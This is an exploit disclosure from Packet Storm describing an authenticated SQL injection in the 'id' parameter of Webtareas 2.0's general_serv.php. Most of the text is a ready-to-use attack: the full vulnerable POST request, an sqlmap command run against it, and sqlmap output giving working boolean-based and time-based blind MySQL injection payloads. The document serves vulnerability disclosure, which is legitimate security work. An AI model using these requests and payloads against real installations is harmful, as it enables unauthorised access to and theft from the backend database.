Webtareas 2.0 SQL Injection

Type packetstorm
Reporter Greg Priest
Modified 2020-01-24T00:00:00


                                            `# Exploit Title: Webtareas 2.0 - 'id' SQL Injection  
# Date: 2020-01-23  
# Exploit Author: Greg.Priest  
# Vendor Homepage: http://webtareas.sourceforge.net/general/home.php  
# Software Link: http://webtareas.sourceforge.net/general/home.php  
# Version: Webtareas v2.0  
# Tested on: Windows  
# CVE : N/A  
Webtareas v2.0 authenticated Sql injection 0day  
Vulnerable Request:  
POST /webtareas/includes/general_serv.php HTTP/1.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0  
Accept: */*  
Accept-Language: hu-HU,hu;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 98  
Connection: close  
Cookie: webTareasSID=npmmte1hejtnsi35mcqbc97gse  
action=cardview-actions&prefix=..%2F&object=projects&tblnam=projects&extra=&extpath=&id=1[Vulnerable parameter!]&defact=Y  
C:\Users\--------\Desktop\sqlmap>sqlmap.py -r webt01  
___ ___[,]_____ ___ ___ {}  
|_ -| . [)] | .'| . |  
|___|_ [.]_|_|_|__,| _|  
|_|V... |_| http://sqlmap.org  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
[*] starting @ 12:09:44 /2020-01-23/  
[12:09:44] [INFO] parsing HTTP request from 'webt01'  
[12:09:45] [WARNING] provided value for parameter 'extra' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly  
[12:09:45] [WARNING] provided value for parameter 'extpath' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly  
[12:09:45] [INFO] resuming back-end DBMS 'mysql'  
[12:09:45] [INFO] testing connection to the target URL  
sqlmap resumed the following injection point(s) from stored session:  
Parameter: id (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: action=cardview-actions&prefix=../&object=projects&tblnam=projects&extra=&extpath=&id=1' AND 4597=4597 AND 'yvIt'='yvIt&defact=Y  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: action=cardview-actions&prefix=../&object=projects&tblnam=projects&extra=&extpath=&id=1' AND (SELECT 4838 FROM (SELECT(SLEEP(5)))WYXW) AND 'lBki'='lBki&defact=Y  
[12:09:45] [INFO] the back-end DBMS is MySQL  
web application technology: Apache 2.4.41, PHP 7.3.13  
back-end DBMS: MySQL >= 5.0.12  
[12:09:45] [INFO] fetched data logged to text files under 'C:\Users\--------\AppData\Local\sqlmap\output\'  
[*] ending @ 12:09:45 /2020-01-23/